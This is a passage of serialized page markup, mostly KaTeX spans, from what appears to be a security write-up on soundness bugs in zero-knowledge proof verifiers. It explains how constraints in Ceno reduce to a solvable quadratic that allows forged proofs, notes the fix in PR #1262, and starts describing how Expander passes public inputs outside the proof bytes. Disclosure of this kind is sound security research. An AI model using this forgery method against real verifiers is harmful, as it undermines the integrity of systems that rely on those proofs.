2,"tag":264,"props":121234,"children":121236},{"className":121235},[289],[121237,121242],{"type":22,"tag":264,"props":121238,"children":121240},{"className":121239},[289,2178],[121241],{"type":27,"value":20581},{"type":22,"tag":264,"props":121243,"children":121245},{"className":121244},[2147],[121246],{"type":22,"tag":264,"props":121247,"children":121249},{"className":121248},[305,306],[121250,121279],{"type":22,"tag":264,"props":121251,"children":121253},{"className":121252},[311],[121254,121274],{"type":22,"tag":264,"props":121255,"children":121257},{"className":121256,"style":94422},[316],[121258],{"type":22,"tag":264,"props":121259,"children":121260},{"style":94426},[121261,121265],{"type":22,"tag":264,"props":121262,"children":121264},{"className":121263,"style":2169},[326],[],{"type":22,"tag":264,"props":121266,"children":121268},{"className":121267},[332,333,334,335],[121269],{"type":22,"tag":264,"props":121270,"children":121272},{"className":121271},[289,335],[121273],{"type":27,"value":602},{"type":22,"tag":264,"props":121275,"children":121277},{"className":121276},[396],[121278],{"type":27,"value":399},{"type":22,"tag":264,"props":121280,"children":121282},{"className":121281},[311],[121283],{"type":22,"tag":264,"props":121284,"children":121286},{"className":121285,"style":2721},[316],[121287],{"type":22,"tag":264,"props":121288,"children":121289},{},[],{"type":22,"tag":264,"props":121291,"children":121293},{"className":121292,"style":421},[420],[],{"type":22,"tag":264,"props":121295,"children":121297},{"className":121296},[426],[121298],{"type":27,"value":429},{"type":22,"tag":264,"props":121300,"children":121302},{"className":121301,"style":421},[420],[],{"type":22,"tag":264,"props":121304,"children":121306},{"className":121305},[278],[121307,121311,121352,121357,121362,121367,121372,121377],{"type":22,"tag":264,"props":121308,"children":121310},{"className":121309,"style":94312},[283],[],{"type":22,"tag":264,"props":121312,"children":121314},{"className":121313},[289],[121315,121324,121329,121338,121343],{"type":22,"tag":264,"props":121316,"children":121318},{"className":121317},[289,27],[121319],{"type":22,"tag":264,"props":121320,"children":121322},{"className":121321},[289],[121323],{"type":27,"value":95188},{"type":22,"tag":264,"props":121325,"children":121327},{"className":121326,"style":94370},[289],[121328],{"type":27,"value":4385},{"type":22,"tag":264,"props":121330,"children":121332},{"className":121331},[289,27],[121333],{"type":22,"tag":264,"props":121334,"children":121336},{"className":121335},[289],[121337],{"type":27,"value":120026},{"type":22,"tag":264,"props":121339,"children":121341},{"className":121340,"style":94370},[289],[121342],{"type":27,"value":4385},{"type":22,"tag":264,"props":121344,"children":121346},{"className":121345},[289,27],[121347],{"type":22,"tag":264,"props":121348,"children":121350},{"className":121349},[289],[121351],{"type":27,"value":120045},{"type":22,"tag":264,"props":121353,"children":121355},{"className":121354},[294],[121356],{"type":27,"value":5045},{"type":22,"tag":264,"props":121358,"children":121360},{"className":121359},[289],[121361],{"type":27,"value":5334},{"type":22,"tag":264,"props":121363,"children":121365},{"className":121364},[415],[121366],{"type":27,"value":16710},{"type":22,"tag":264,"props":121368,"children":121370},{"className":121369},[294],[121371],{"type":27,"value":5045},{"type":22,"tag":264,"props":121373,"children":121375},{"className":121374},[289],[121376],{"type":27,"value":602},{"type":22,"tag":264,"props":121378,"children":121380},{"className":121379},[415],[121381],{"type":27,"value":16710},{"type":27,"value":121383}," we get the following constraint:",{"type":22,"tag":23,"props":121385,"children":121386},{},[121387],{"type":22,"tag":257,"props":121388,"children":121390},{"className":121389},[260,261],[121391],{"type":22,"tag":264,"props":121392,"children":121394},{"className":121393},[267],[121395],{"type":22,"tag":264,"props":121396,"children":121398},{"className":121397,"ariaHidden":273},[272],[121399,121478,121556,121597],{"type":22,"tag":264,"props":121400,"children":121402},{"className":121401},[278],[121403,121408,121465,121469,121474],{"type":22,"tag":264,"props":121404,"children":121407},{"className":121405,"style":121406},[283],"height:0.5945em;vertical-align:-0.15em;",[],{"type":22,"tag":264,"props":121409,"children":121411},{"className":121410},[289],[121412,121417],{"type":22,"tag":264,"props":121413,"children":121415},{"className":121414},[289,2178],[121416],{"type":27,"value":20581},{"type":22,"tag":264,"props":121418,"children":121420},{"className":121419},[2147],[121421],{"type":22,"tag":264,"props":121422,"children":121424},{"className":121423},[305,306],[121425,121454],{"type":22,"tag":264,"props":121426,"children":121428},{"className":121427},[311],[121429,121449],{"type":22,"tag":264,"props":121430,"children":121432},{"className":121431,"style":94422},[316],[121433],{"type":22,"tag":264,"props":121434,"children":121435},{"style":94426},[121436,121440],{"type":22,"tag":264,"props":121437,"children":121439},{"className":121438,"style":2169},[326],[],{"type":22,"tag":264,"props":121441,"children":121443},{"className":121442},[332,333,334,335],[121444],{"type":22,"tag":264,"props":121445,"children":121447},{"className":121446},[289,335],[121448],{"type":27,"value":5334},{"type":22,"tag":264,"props":121450,"children":121452},{"className":121451},[396],[121453],{"type":27,"value":399},{"type":22,"tag":264,"props":121455,"children":121457},{"className":121456},[311],[121458],{"type":22,"tag":264,"props":121459,"children":121461},{"className":121460,"style":2721},[316],[121462],{"type":22,"tag":264,"props":121463,"children":121464},{},[],{"type":22,"tag":264,"props":121466,"children":121468},{"className":121467,"style":665},[420],[],{"type":22,"tag":264,"props":121470,"children":121472},{"className":121471},[670],[121473],{"type":27,"value":112629},{"type":22,"tag":264,"props":121475,"children":121477},{"className":121476,"style":665},[420],[],{"type":22,"tag":264,"props":121479,"children":121481},{"className":121480},[278],[121482,121486,121543,121547,121552],{"type":22,"tag":264,"props":121483,"children":121485},{"className":121484,"style":121406},[283],[],{"type":22,"tag":264,"props":121487,"children":121489},{"className":121488},[289],[121490,121495],{"type":22,"tag":264,"props":121491,"children":121493},{"className":121492},[289,2178],[121494],{"type":27,"value":20581},{"type":22,"tag":264,"props":121496,"children":121498},{"className":121497},[2147],[121499],{"type":22,"tag":264,"props":121500,"children":121502},{"className":121501},[305,306],[121503,121532],{"type":22,"tag":264,"props":121504,"children":121506},{"className":121505},[311],[121507,121527],{"type":22,"tag":264,"props":121508,"children":121510},{"className":121509,"style":94422},[316],[121511],{"type":22,"tag":264,"props":121512,"children":121513},{"style":94426},[121514,121518],{"type":22,"tag":264,"props":121515,"children":121517},{"className":121516,"style":2169},[326],[],{"type":22,"tag":264,"props":121519,"children":121521},{"className":121520},[332,333,334,335],[121522],{"type":22,"tag":264,"props":121523,"children":121525},{"className":121524},[289,335],[121526],{"type":27,"value":602},{"type":22,"tag":264,"props":121528,"children":121530},{"className":121529},[396],[121531],{"type":27,"value":399},{"type":22,"tag":264,"props":121533,"children":121535},{"className":121534},[311],[121536],{"type":22,"tag":264,"props":121537,"children":121539},{"className":121538,"style":2721},[316],[121540],{"type":22,"tag":264,"props":121541,"children":121542},{},[],{"type":22,"tag":264,"props":121544,"children":121546},{"className":121545,"style":665},[420],[],{"type":22,"tag":264,"props":121548,"children":121550},{"className":121549},[670],[121551],{"type":27,"value":112629},{"type":22,"tag":264,"props":121553,"children":121555},{"className":121554,"style":665},[420],[],{"type":22,"tag":264,"props":121557,"children":121559},{"className":121558},[278],[121560,121564,121569,121579,121584,121588,121593],{"type":22,"tag":264,"props":121561,"children":121563},{"className":121562,"style":5409},[283],[],{"type":22,"tag":264,"props":121565,"children":121567},{"className":121566},[294],[121568],{"type":27,"value":2660},{"type":22,"tag":264,"props":121570,"children":121572},{"className":121571},[289,27],[121573],{"type":22,"tag":264,"props":121574,"children":121576},{"className":121575},[289],[121577],{"type":27,"value":121578},"rest of product",{"type":22,"tag":264,"props":121580,"children":121582},{"className":121581},[415],[121583],{"type":27,"value":2806},{"type":22,"tag":264,"props":121585,"children":121587},{"className":121586,"style":421},[420],[],{"type":22,"tag":264,"props":121589,"children":121591},{"className":121590},[426],[121592],{"type":27,"value":429},{"type":22,"tag":264,"props":121594,"children":121596},{"className":121595,"style":421},[420],[],{"type":22,"tag":264,"props":121598,"children":121600},{"className":121599},[278],[121601,121605],{"type":22,"tag":264,"props":121602,"children":121604},{"className":121603,"style":116375},[283],[],{"type":22,"tag":264,"props":121606,"children":121608},{"className":121607},[289,27],[121609],{"type":22,"tag":264,"props":121610,"children":121612},{"className":121611},[289],[121613],{"type":27,"value":116386},{"type":22,"tag":23,"props":121615,"children":121616},{},[121617,121619,121772],{"type":27,"value":121618},"This is bilinear in ",{"type":22,"tag":257,"props":121620,"children":121622},{"className":121621},[260,261],[121623],{"type":22,"tag":264,"props":121624,"children":121626},{"className":121625},[267],[121627],{"type":22,"tag":264,"props":121628,"children":121630},{"className":121629,"ariaHidden":273},[272],[121631],{"type":22,"tag":264,"props":121632,"children":121634},{"className":121633},[278],[121635,121639,121644,121701,121706,121710,121767],{"type":22,"tag":264,"props":121636,"children":121638},{"className":121637,"style":5409},[283],[],{"type":22,"tag":264,"props":121640,"children":121642},{"className":121641},[294],[121643],{"type":27,"value":2660},{"type":22,"tag":264,"props":121645,"children":121647},{"className":121646},[289],[121648,121653],{"type":22,"tag":264,"props":121649,"children":121651},{"className":121650},[289,2178],[121652],{"type":27,"value":20581},{"type":22,"tag":264,"props":121654,"children":121656},{"className":121655},[2147],[121657],{"type":22,"tag":264,"props":121658,"children":121660},{"className":121659},[305,306],[121661,121690],{"type":22,"tag":264,"props":121662,"children":121664},{"className":121663},[311],[121665,121685],{"type":22,"tag":264,"props":121666,"children":121668},{"className":121667,"style":94422},[316],[121669],{"type":22,"tag":264,"props":121670,"children":121671},{"style":94426},[121672,121676],{"type":22,"tag":264,"props":121673,"children":121675},{"className":121674,"style":2169},[326],[],{"type":22,"tag":264,"props":121677,"children":121679},{"className":121678},[332,333,334,335],[121680],{"type":22,"tag":264,"props":121681,"children":121683},{"className":121682},[289,335],[121684],{"type":27,"value":5334},{"type":22,"tag":264,"props":121686,"children":121688},{"className":121687},[396],[121689],{"type":27,"value":399},{"type":22,"tag":264,"props":121691,"children":121693},{"className":121692},[311],[121694],{"type":22,"tag":264,"props":121695,"children":121697},{"className":121696,"style":2721},[316],[121698],{"type":22,"tag":264,"props":121699,"children":121700},{},[],{"type":22,"tag":264,"props":121702,"children":121704},{"className":121703},[5420],[121705],{"type":27,"value":5423},{"type":22,"tag":264,"props":121707,"children":121709},{"className":121708,"style":5427},[420],[],{"type":22,"tag":264,"props":121711,"children":121713},{"className":121712},[289],[121714,121719],{"type":22,"tag":264,"props":121715,"children":121717},{"className":121716},[289,2178],[121718],{"type":27,"value":20581},{"type":22,"tag":264,"props":121720,"children":121722},{"className":121721},[2147],[121723],{"type":22,"tag":264,"props":121724,"children":121726},{"className":121725},[305,306],[121727,121756],{"type":22,"tag":264,"props":121728,"children":121730},{"className":121729},[311],[121731,121751],{"type":22,"tag":264,"props":121732,"children":121734},{"className":121733,"style":94422},[316],[121735],{"type":22,"tag":264,"props":121736,"children":121737},{"style":94426},[121738,121742],{"type":22,"tag":264,"props":121739,"children":121741},{"className":121740,"style":2169},[326],[],{"type":22,"tag":264,"props":121743,"children":121745},{"className":121744},[332,333,334,335],[121746],{"type":22,"tag":264,"props":121747,"children":121749},{"className":121748},[289,335],[121750],{"type":27,"value":602},{"type":22,"tag":264,"props":121752,"children":121754},{"className":121753},[396],[121755],{"type":27,"value":399},{"type":22,"tag":264,"props":121757,"children":121759},{"className":121758},[311],[121760],{"type":22,"tag":264,"props":121761,"children":121763},{"className":121762,"style":2721},[316],[121764],{"type":22,"tag":264,"props":121765,"children":121766},{},[],{"type":22,"tag":264,"props":121768,"children":121770},{"className":121769},[415],[121771],{"type":27,"value":2806},{"type":27,"value":210},{"type":22,"tag":23,"props":121774,"children":121775},{},[121776,121778,121931],{"type":27,"value":121777},"We have two unknowns ",{"type":22,"tag":257,"props":121779,"children":121781},{"className":121780},[260,261],[121782],{"type":22,"tag":264,"props":121783,"children":121785},{"className":121784},[267],[121786],{"type":22,"tag":264,"props":121787,"children":121789},{"className":121788,"ariaHidden":273},[272],[121790],{"type":22,"tag":264,"props":121791,"children":121793},{"className":121792},[278],[121794,121798,121803,121860,121865,121869,121926],{"type":22,"tag":264,"props":121795,"children":121797},{"className":121796,"style":5409},[283],[],{"type":22,"tag":264,"props":121799,"children":121801},{"className":121800},[294],[121802],{"type":27,"value":2660},{"type":22,"tag":264,"props":121804,"children":121806},{"className":121805},[289],[121807,121812],{"type":22,"tag":264,"props":121808,"children":121810},{"className":121809},[289,2178],[121811],{"type":27,"value":20581},{"type":22,"tag":264,"props":121813,"children":121815},{"className":121814},[2147],[121816],{"type":22,"tag":264,"props":121817,"children":121819},{"className":121818},[305,306],[121820,121849],{"type":22,"tag":264,"props":121821,"children":121823},{"className":121822},[311],[121824,121844],{"type":22,"tag":264,"props":121825,"children":121827},{"className":121826,"style":94422},[316],[121828],{"type":22,"tag":264,"props":121829,"children":121830},{"style":94426},[121831,121835],{"type":22,"tag":264,"props":121832,"children":121834},{"className":121833,"style":2169},[326],[],{"type":22,"tag":264,"props":121836,"children":121838},{"className":121837},[332,333,334,335],[121839],{"type":22,"tag":264,"props":121840,"children":121842},{"className":121841},[289,335],[121843],{"type":27,"value":5334},{"type":22,"tag":264,"props":121845,"children":121847},{"className":121846},[396],[121848],{"type":27,"value":399},{"type":22,"tag":264,"props":121850,"children":121852},{"className":121851},[311],[121853],{"type":22,"tag":264,"props":121854,"children":121856},{"className":121855,"style":2721},[316],[121857],{"type":22,"tag":264,"props":121858,"children":121859},{},[],{"type":22,"tag":264,"props":121861,"children":121863},{"className":121862},[5420],[121864],{"type":27,"value":5423},{"type":22,"tag":264,"props":121866,"children":121868},{"className":121867,"style":5427},[420],[],{"type":22,"tag":264,"props":121870,"children":121872},{"className":121871},[289],[121873,121878],{"type":22,"tag":264,"props":121874,"children":121876},{"className":121875},[289,2178],[121877],{"type":27,"value":20581},{"type":22,"tag":264,"props":121879,"children":121881},{"className":121880},[2147],[121882],{"type":22,"tag":264,"props":121883,"children":121885},{"className":121884},[305,306],[121886,121915],{"type":22,"tag":264,"props":121887,"children":121889},{"className":121888},[311],[121890,121910],{"type":22,"tag":264,"props":121891,"children":121893},{"className":121892,"style":94422},[316],[121894],{"type":22,"tag":264,"props":121895,"children":121896},{"style":94426},[121897,121901],{"type":22,"tag":264,"props":121898,"children":121900},{"className":121899,"style":2169},[326],[],{"type":22,"tag":264,"props":121902,"children":121904},{"className":121903},[332,333,334,335],[121905],{"type":22,"tag":264,"props":121906,"children":121908},{"className":121907},[289,335],[121909],{"type":27,"value":602},{"type":22,"tag":264,"props":121911,"children":121913},{"className":121912},[396],[121914],{"type":27,"value":399},{"type":22,"tag":264,"props":121916,"children":121918},{"className":121917},[311],[121919],{"type":22,"tag":264,"props":121920,"children":121922},{"className":121921,"style":2721},[316],[121923],{"type":22,"tag":264,"props":121924,"children":121925},{},[],{"type":22,"tag":264,"props":121927,"children":121929},{"className":121928},[415],[121930],{"type":27,"value":2806},{"type":27,"value":121932}," and two equations, one linear and one bilinear:",{"type":22,"tag":1867,"props":121934,"children":121935},{},[121936,122263],{"type":22,"tag":1871,"props":121937,"children":121938},{},[121939,121941],{"type":27,"value":121940},"Linear (from GKR): ",{"type":22,"tag":257,"props":121942,"children":121944},{"className":121943},[260,261],[121945],{"type":22,"tag":264,"props":121946,"children":121948},{"className":121947},[267],[121949],{"type":22,"tag":264,"props":121950,"children":121952},{"className":121951,"ariaHidden":273},[272],[121953,122089,122224,122250],{"type":22,"tag":264,"props":121954,"children":121956},{"className":121955},[278],[121957,121962,122019,122076,122080,122085],{"type":22,"tag":264,"props":121958,"children":121961},{"className":121959,"style":121960},[283],"height:0.7333em;vertical-align:-0.15em;",[],{"type":22,"tag":264,"props":121963,"children":121965},{"className":121964},[289],[121966,121971],{"type":22,"tag":264,"props":121967,"children":121969},{"className":121968},[289,2178],[121970],{"type":27,"value":69},{"type":22,"tag":264,"props":121972,"children":121974},{"className":121973},[2147],[121975],{"type":22,"tag":264,"props":121976,"children":121978},{"className":121977},[305,306],[121979,122008],{"type":22,"tag":264,"props":121980,"children":121982},{"className":121981},[311],[121983,122003],{"type":22,"tag":264,"props":121984,"children":121986},{"className":121985,"style":94422},[316],[121987],{"type":22,"tag":264,"props":121988,"children":121989},{"style":94426},[121990,121994],{"type":22,"tag":264,"props":121991,"children":121993},{"className":121992,"style":2169},[326],[],{"type":22,"tag":264,"props":121995,"children":121997},{"className":121996},[332,333,334,335],[121998],{"type":22,"tag":264,"props":121999,"children":122001},{"className":122000},[289,335],[122002],{"type":27,"value":5334},{"type":22,"tag":264,"props":122004,"children":122006},{"className":122005},[396],[122007],{"type":27,"value":399},{"type":22,"tag":264,"props":122009,"children":122011},{"className":122010},[311],[122012],{"type":22,"tag":264,"props":122013,"children":122015},{"className":122014,"style":2721},[316],[122016],{"type":22,"tag":264,"props":122017,"children":122018},{},[],{"type":22,"tag":264,"props":122020,"children":122022},{"className":122021},[289],[122023,122028],{"type":22,"tag":264,"props":122024,"children":122026},{"className":122025},[289,2178],[122027],{"type":27,"value":20581},{"type":22,"tag":264,"props":122029,"children":122031},{"className":122030},[2147],[122032],{"type":22,"tag":264,"props":122033,"children":122035},{"className":122034},[305,306],[122036,122065],{"type":22,"tag":264,"props":122037,"children":122039},{"className":122038},[311],[122040,122060],{"type":22,"tag":264,"props":122041,"children":122043},{"className":122042,"style":94422},[316],[122044],{"type":22,"tag":264,"props":122045,"children":122046},{"style":94426},[122047,122051],{"type":22,"tag":264,"props":122048,"children":122050},{"className":122049,"style":2169},[326],[],{"type":22,"tag":264,"props":122052,"children":122054},{"className":122053},[332,333,334,335],[122055],{"type":22,"tag":264,"props":122056,"children":122058},{"className":122057},[289,335],[122059],{"type":27,"value":5334},{"type":22,"tag":264,"props":122061,"children":122063},{"className":122062},[396],[122064],{"type":27,"value":399},{"type":22,"tag":264,"props":122066,"children":122068},{"className":122067},[311],[122069],{"type":22,"tag":264,"props":122070,"children":122072},{"className":122071,"style":2721},[316],[122073],{"type":22,"tag":264,"props":122074,"children":122075},{},[],{"type":22,"tag":264,"props":122077,"children":122079},{"className":122078,"style":665},[420],[],{"type":22,"tag":264,"props":122081,"children":122083},{"className":122082},[670],[122084],{"type":27,"value":673},{"type":22,"tag":264,"props":122086,"children":122088},{"className":122087,"style":665},[420],[],{"type":22,"tag":264,"props":122090,"children":122092},{"className":122091},[278],[122093,122097,122154,122211,122215,122220],{"type":22,"tag":264,"props":122094,"children":122096},{"className":122095,"style":121960},[283],[],{"type":22,"tag":264,"props":122098,"children":122100},{"className":122099},[289],[122101,122106],{"type":22,"tag":264,"props":122102,"children":122104},{"className":122103},[289,2178],[122105],{"type":27,"value":69},{"type":22,"tag":264,"props":122107,"children":122109},{"className":122108},[2147],[122110],{"type":22,"tag":264,"props":122111,"children":122113},{"className":122112},[305,306],[122114,122143],{"type":22,"tag":264,"props":122115,"children":122117},{"className":122116},[311],[122118,122138],{"type":22,"tag":264,"props":122119,"children":122121},{"className":122120,"style":94422},[316],[122122],{"type":22,"tag":264,"props":122123,"children":122124},{"style":94426},[122125,122129],{"type":22,"tag":264,"props":122126,"children":122128},{"className":122127,"style":2169},[326],[],{"type":22,"tag":264,"props":122130,"children":122132},{"className":122131},[332,333,334,335],[122133],{"type":22,"tag":264,"props":122134,"children":122136},{"className":122135},[289,335],[122137],{"type":27,"value":602},{"type":22,"tag":264,"props":122139,"children":122141},{"className":122140},[396],[122142],{"type":27,"value":399},{"type":22,"tag":264,"props":122144,"children":122146},{"className":122145},[311],[122147],{"type":22,"tag":264,"props":122148,"children":122150},{"className":122149,"style":2721},[316],[122151],{"type":22,"tag":264,"props":122152,"children":122153},{},[],{"type":22,"tag":264,"props":122155,"children":122157},{"className":122156},[289],[122158,122163],{"type":22,"tag":264,"props":122159,"children":122161},{"className":122160},[289,2178],[122162],{"type":27,"value":20581},{"type":22,"tag":264,"props":122164,"children":122166},{"className":122165},[2147],[122167],{"type":22,"tag":264,"props":122168,"children":122170},{"className":122169},[305,306],[122171,122200],{"type":22,"tag":264,"props":122172,"children":122174},{"className":122173},[311],[122175,122195],{"type":22,"tag":264,"props":122176,"children":122178},{"className":122177,"style":94422},[316],[122179],{"type":22,"tag":264,"props":122180,"children":122181},{"style":94426},[122182,122186],{"type":22,"tag":264,"props":122183,"children":122185},{"className":122184,"style":2169},[326],[],{"type":22,"tag":264,"props":122187,"children":122189},{"className":122188},[332,333,334,335],[122190],{"type":22,"tag":264,"props":122191,"children":122193},{"className":122192},[289,335],[122194],{"type":27,"value":602},{"type":22,"tag":264,"props":122196,"children":122198},{"className":122197},[396],[122199],{"type":27,"value":399},{"type":22,"tag":264,"props":122201,"children":122203},{"className":122202},[311],[122204],{"type":22,"tag":264,"props":122205,"children":122207},{"className":122206,"style":2721},[316],[122208],{"type":22,"tag":264,"props":122209,"children":122210},{},[],{"type":22,"tag":264,"props":122212,"children":122214},{"className":122213,"style":665},[420],[],{"type":22,"tag":264,"props":122216,"children":122218},{"className":122217},[670],[122219],{"type":27,"value":673},{"type":22,"tag":264,"props":122221,"children":122223},{"className":122222,"style":665},[420],[],{"type":22,"tag":264,"props":122225,"children":122227},{"className":122226},[278],[122228,122232,122237,122241,122246],{"type":22,"tag":264,"props":122229,"children":122231},{"className":122230,"style":112208},[283],[],{"type":22,"tag":264,"props":122233,"children":122235},{"className":122234},[289,2178],[122236],{"type":27,"value":4449},{"type":22,"tag":264,"props":122238,"children":122240},{"className":122239,"style":421},[420],[],{"type":22,"tag":264,"props":122242,"children":122244},{"className":122243},[426],[122245],{"type":27,"value":429},{"type":22,"tag":264,"props":122247,"children":122249},{"className":122248,"style":421},[420],[],{"type":22,"tag":264,"props":122251,"children":122253},{"className":122252},[278],[122254,122258],{"type":22,"tag":264,"props":122255,"children":122257},{"className":122256,"style":850},[283],[],{"type":22,"tag":264,"props":122259,"children":122261},{"className":122260},[289],[122262],{"type":27,"value":5334},{"type":22,"tag":1871,"props":122264,"children":122265},{},[122266,122268],{"type":27,"value":122267},"Bilinear (from multiset): ",{"type":22,"tag":257,"props":122269,"children":122271},{"className":122270},[260,261],[122272],{"type":22,"tag":264,"props":122273,"children":122275},{"className":122274},[267],[122276],{"type":22,"tag":264,"props":122277,"children":122279},{"className":122278,"ariaHidden":273},[272],[122280,122306,122384,122462,122488],{"type":22,"tag":264,"props":122281,"children":122283},{"className":122282},[278],[122284,122288,122293,122297,122302],{"type":22,"tag":264,"props":122285,"children":122287},{"className":122286,"style":94285},[283],[],{"type":22,"tag":264,"props":122289,"children":122291},{"className":122290,"style":95797},[289,2178],[122292],{"type":27,"value":90009},{"type":22,"tag":264,"props":122294,"children":122296},{"className":122295,"style":665},[420],[],{"type":22,"tag":264,"props":122298,"children":122300},{"className":122299},[670],[122301],{"type":27,"value":112629},{"type":22,"tag":264,"props":122303,"children":122305},{"className":122304,"style":665},[420],[],{"type":22,"tag":264,"props":122307,"children":122309},{"className":122308},[278],[122310,122314,122371,122375,122380],{"type":22,"tag":264,"props":122311,"children":122313},{"className":122312,"style":121406},[283],[],{"type":22,"tag":264,"props":122315,"children":122317},{"className":122316},[289],[122318,122323],{"type":22,"tag":264,"props":122319,"children":122321},{"className":122320},[289,2178],[122322],{"type":27,"value":20581},{"type":22,"tag":264,"props":122324,"children":122326},{"className":122325},[2147],[122327],{"type":22,"tag":264,"props":122328,"children":122330},{"className":122329},[305,306],[122331,122360],{"type":22,"tag":264,"props":122332,"children":122334},{"className":122333},[311],[122335,122355],{"type":22,"tag":264,"props":122336,"children":122338},{"className":122337,"style":94422},[316],[122339],{"type":22,"tag":264,"props":122340,"children":122341},{"style":94426},[122342,122346],{"type":22,"tag":264,"props":122343,"children":122345},{"className":122344,"style":2169},[326],[],{"type":22,"tag":264,"props":122347,"children":122349},{"className":122348},[332,333,334,335],[122350],{"type":22,"tag":264,"props":122351,"children":122353},{"className":122352},[289,335],[122354],{"type":27,"value":5334},{"type":22,"tag":264,"props":122356,"children":122358},{"className":122357},[396],[122359],{"type":27,"value":399},{"type":22,"tag":264,"props":122361,"children":122363},{"className":122362},[311],[122364],{"type":22,"tag":264,"props":122365,"children":122367},{"className":122366,"style":2721},[316],[122368],{"type":22,"tag":264,"props":122369,"children":122370},{},[],{"type":22,"tag":264,"props":122372,"children":122374},{"className":122373,"style":665},[420],[],{"type":22,"tag":264,"props":122376,"children":122378},{"className":122377},[670],[122379],{"type":27,"value":112629},{"type":22,"tag":264,"props":122381,"children":122383},{"className":122382,"style":665},[420],[],{"type":22,"tag":264,"props":122385,"children":122387},{"className":122386},[278],[122388,122392,122449,122453,122458],{"type":22,"tag":264,"props":122389,"children":122391},{"className":122390,"style":121960},[283],[],{"type":22,"tag":264,"props":122393,"children":122395},{"className":122394},[289],[122396,122401],{"type":22,"tag":264,"props":122397,"children":122399},{"className":122398},[289,2178],[122400],{"type":27,"value":20581},{"type":22,"tag":264,"props":122402,"children":122404},{"className":122403},[2147],[122405],{"type":22,"tag":264,"props":122406,"children":122408},{"className":122407},[305,306],[122409,122438],{"type":22,"tag":264,"props":122410,"children":122412},{"className":122411},[311],[122413,122433],{"type":22,"tag":264,"props":122414,"children":122416},{"className":122415,"style":94422},[316],[122417],{"type":22,"tag":264,"props":122418,"children":122419},{"style":94426},[122420,122424],{"type":22,"tag":264,"props":122421,"children":122423},{"className":122422,"style":2169},[326],[],{"type":22,"tag":264,"props":122425,"children":122427},{"className":122426},[332,333,334,335],[122428],{"type":22,"tag":264,"props":122429,"children":122431},{"className":122430},[289,335],[122432],{"type":27,"value":602},{"type":22,"tag":264,"props":122434,"children":122436},{"className":122435},[396],[122437],{"type":27,"value":399},{"type":22,"tag":264,"props":122439,"children":122441},{"className":122440},[311],[122442],{"type":22,"tag":264,"props":122443,"children":122445},{"className":122444,"style":2721},[316],[122446],{"type":22,"tag":264,"props":122447,"children":122448},{},[],{"type":22,"tag":264,"props":122450,"children":122452},{"className":122451,"style":665},[420],[],{"type":22,"tag":264,"props":122454,"children":122456},{"className":122455},[670],[122457],{"type":27,"value":673},{"type":22,"tag":264,"props":122459,"children":122461},{"className":122460,"style":665},[420],[],{"type":22,"tag":264,"props":122463,"children":122465},{"className":122464},[278],[122466,122470,122475,122479,122484],{"type":22,"tag":264,"props":122467,"children":122469},{"className":122468,"style":94285},[283],[],{"type":22,"tag":264,"props":122471,"children":122473},{"className":122472},[289,2178],[122474],{"type":27,"value":71888},{"type":22,"tag":264,"props":122476,"children":122478},{"className":122477,"style":421},[420],[],{"type":22,"tag":264,"props":122480,"children":122482},{"className":122481},[426],[122483],{"type":27,"value":429},{"type":22,"tag":264,"props":122485,"children":122487},{"className":122486,"style":421},[420],[],{"type":22,"tag":264,"props":122489,"children":122491},{"className":122490},[278],[122492,122496],{"type":22,"tag":264,"props":122493,"children":122495},{"className":122494,"style":850},[283],[],{"type":22,"tag":264,"props":122497,"children":122499},{"className":122498},[289],[122500],{"type":27,"value":5334},{"type":22,"tag":23,"props":122502,"children":122503},{},[122504],{"type":27,"value":122505},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":22,"tag":23,"props":122507,"children":122508},{},[122509,122513,122515,122522,122524,122531],{"type":22,"tag":242,"props":122510,"children":122511},{},[122512],{"type":27,"value":118062},{"type":27,"value":122514}," Fixed on March 5, 2026 via ",{"type":22,"tag":69,"props":122516,"children":122519},{"href":122517,"rel":122518},"https://github.com/scroll-tech/ceno/pull/1262",[73],[122520],{"type":27,"value":122521},"PR #1262",{"type":27,"value":122523}," (original report: ",{"type":22,"tag":69,"props":122525,"children":122528},{"href":122526,"rel":122527},"https://github.com/scroll-tech/ceno/issues/1125",[73],[122529],{"type":27,"value":122530},"#1125",{"type":27,"value":2806},{"type":22,"tag":20097,"props":122533,"children":122534},{},[],{"type":22,"tag":181,"props":122536,"children":122538},{"id":122537},"expander-polyhedra",[122539],{"type":27,"value":122540},"Expander (Polyhedra)",{"type":22,"tag":23,"props":122542,"children":122543},{},[122544],{"type":27,"value":122545},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":22,"tag":23,"props":122547,"children":122548},{},[122549],{"type":22,"tag":242,"props":122550,"children":122551},{},[122552],{"type":27,"value":116769},{"type":22,"tag":618,"props":122554,"children":122556},{"code":122555},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[122557],{"type":22,"tag":257,"props":122558,"children":122559},{"__ignoreMap":7},[122560],{"type":27,"value":122555},{"type":22,"tag":23,"props":122562,"children":122563},{},[122564,122566,122572],{"type":27,"value":122565},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":22,"tag":257,"props":122567,"children":122569},{"className":122568},[],[122570],{"type":27,"value":122571},"eval_cst",{"type":27,"value":122573}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":22,"tag":618,"props":122575,"children":122577},{"code":122576,"language":4273,"meta":7,"className":4274,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[122578],{"type":22,"tag":257,"props":122579,"children":122580},{"__ignoreMap":7},[122581],{"type":22,"tag":264,"props":122582,"children":122583},{"class":1534,"line":1535},[122584,122588,122593,122598,122602,122606,122610,122614,122619,122623,122628,122633,122637,122642],{"type":22,"tag":264,"props":122585,"children":122586},{"style":1549},[122587],{"type":27,"value":77958},{"type":22,"tag":264,"props":122589,"children":122590},{"style":4309},[122591],{"type":27,"value":122592}," -=",{"type":22,"tag":264,"props":122594,"children":122595},{"style":4722},[122596],{"type":27,"value":122597}," 